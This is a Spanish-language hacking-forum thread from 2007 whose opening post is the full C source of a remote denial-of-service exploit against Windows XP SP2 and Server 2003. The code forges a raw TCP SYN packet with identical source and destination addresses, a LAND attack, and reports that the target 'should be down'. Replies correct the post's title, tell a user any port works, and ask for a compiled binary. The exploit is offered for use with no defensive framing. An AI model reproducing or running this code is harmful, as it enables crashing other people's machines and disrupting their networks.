elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
30 Agosto 2008, 07:47  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Como causar denegación del servicio ICF de Windows XP+SP2 en red LAN
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Como causar denegación del servicio ICF de Windows XP+SP2 en red LAN  (Leído 875 veces)
bot_1

Desconectado Desconectado

Mensajes: 10



Ver Perfil WWW
Como causar denegación del servicio ICF de Windows XP+SP2 en red LAN
« en: 23 Mayo 2007, 06:33 »

Código:
#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/* 
Windows Server 2003 and XP SP2 remote DoS exploit
Tested under OpenBSD 3.6 at WinXP SP 2
Vuln by Dejan Levaja <dejan_@_levaja.com> , http://security.nnov.ru/docs7998.html
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
All rights reserved.
*/

//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, "r57windos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN;  // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_OSERR;
}
printf("Packet sent. Remote machine should be down.\n");
shutdown(mysock, 2);
return  EX_OK;
}

//Nota del moderador: A ver si leemos los exploits antes de decir que existen vulnerabilidades que no existen.
« Última modificación: 29 Mayo 2007, 11:00 por ANELKAOS » En línea

Fuck You!
bot_1

Desconectado Desconectado

Mensajes: 10



Ver Perfil WWW
Re: Como causar un desbordamiento del buffer en Windows XP SP2
« Respuesta #1 en: 23 Mayo 2007, 17:27 »

Citar
pronto sera movido/borrado
Veo que tienes dotes de moderador  ;D de todas formas no veo porque lo puedan borrar ya que la solución para este exploit está en:
http://www.microsoft.com/spain/empresas/productos/windowsxp/Actualizaciones.mspx

Menosmal que no expuse el exploit del ipv6 porque ahi me ahorcas  :¬¬
En línea

Fuck You!
Mancebo

Desconectado Desconectado

Mensajes: 2.791



Ver Perfil
Re: Como causar un desbordamiento del buffer en Windows XP SP2
« Respuesta #2 en: 23 Mayo 2007, 17:37 »

También estaría bien ponerlo dentro de las etiquetas [code ] [/code  ] así sale... así


Código:
<?php

echo "hola";

?>


:).


En línea

bot_1

Desconectado Desconectado

Mensajes: 10



Ver Perfil WWW
Re: Como causar un desbordamiento del buffer en Windows XP SP2
« Respuesta #3 en: 23 Mayo 2007, 17:47 »

eso del code no lo sabia :p no soy una enciclopedia andante pero muchas gracias.. la proxima ves lo tomaré en cuenta.

Isirius... lo se y me equiboqué, pero el rpoblema no es:
Código:
<?php
ob_clean();
printf("pronto sera movido");
?>
si no mas bien:
Código:
<?php
printf("/Borrado");
die;
?>
« Última modificación: 23 Mayo 2007, 17:49 por bot_1 » En línea

Fuck You!
krasii

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Como causar un desbordamiento del buffer en Windows XP SP2
« Respuesta #4 en: 24 Mayo 2007, 20:14 »

what port to use ? some open port on the target IP ?
En línea
Ivanchuk

Desconectado Desconectado

Mensajes: 250



Ver Perfil WWW
Re: Como causar denegación del servicio ICF de Windows XP+SP2 en red LAN
« Respuesta #5 en: 01 Junio 2007, 14:26 »

No entiendo porque esa nota anelkaos, no probe el code, que no existe esa vulnerabilidad? pero en el exploit dice que fue testeado contra un xp sp2 y anduvo :¬¬.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.
ANELKAOS
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.584



Ver Perfil WWW
Re: Como causar denegación del servicio ICF de Windows XP+SP2 en red LAN
« Respuesta #6 en: 02 Junio 2007, 00:13 »

Inicialmente el mensaje tenia el asunto: "Como causar un desbordamiento del buffer en Windows XP SP2" como puedes ver en el segundo mensaje. Lee el código y entenderas porqué lo cambié ;)
En línea

Ivanchuk

Desconectado Desconectado

Mensajes: 250



Ver Perfil WWW
Re: Como causar denegación del servicio ICF de Windows XP+SP2 en red LAN
« Respuesta #7 en: 02 Junio 2007, 04:16 »

ahh... ok.
Pos si, no es un bof... es un land attack, pero no sabia que le producia DoS al fw... se ve que como consecuencia se cae el SO también.
krassi, the port doesnt matter. Just execute this exploit against some port at ur choice :P.
cheers
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.
Ch3ckM4t3r

Desconectado Desconectado

Mensajes: 244


Elite


Ver Perfil
Re: Como causar denegación del servicio ICF de Windows XP+SP2 en red LAN
« Respuesta #8 en: 04 Junio 2007, 18:50 »

Podrian colocar el compilado? Gracias.  ::)
En línea


Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC